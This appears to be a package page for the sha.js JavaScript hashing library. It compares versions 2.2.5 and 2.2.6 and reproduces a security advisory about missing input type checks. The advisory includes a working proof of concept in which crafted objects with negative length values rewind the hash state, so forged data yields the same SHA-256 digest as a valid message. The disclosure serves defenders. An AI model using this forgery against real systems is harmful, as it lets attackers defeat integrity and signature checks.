Sha.js is a lightweight JavaScript library providing streaming SHA-1 hash functionality, ideal for browser and Node.js environments. Comparing versions 2.2.6 and 2.2.5 reveals subtle but impactful changes primarily in dependency management. Version 2.2.6 removes the direct dependency on the global package, potentially streamlining the build process and reducing the overall package size. This suggests an optimization where relying on the global context is no longer explicitly needed, possibly due to code enhancements or a shift in how the library interacts with its environment.
Both versions maintain the same core functionality – streaming SHA-1 hashing – along with the MIT license, allowing for flexible integration into various projects. They share common development dependencies like tape for testing, buffer for handling binary data, and typedarray for array manipulation. The update from 2.2.5 to 2.2.6, released just two days apart, likely addresses minor bug fixes, performance tweaks, or internal code restructuring, reflecting a commitment to stability and efficiency. Developers should note that previous versions relied on global package. If that's important for a project, the 2.2.5 is the version to choose.
All the vulnerabilities related to the version 2.2.6 of the package
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js
, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer
or string
, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}
. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf
, but can be treated by other code differently (e.g. bn.js){length:'1e99'}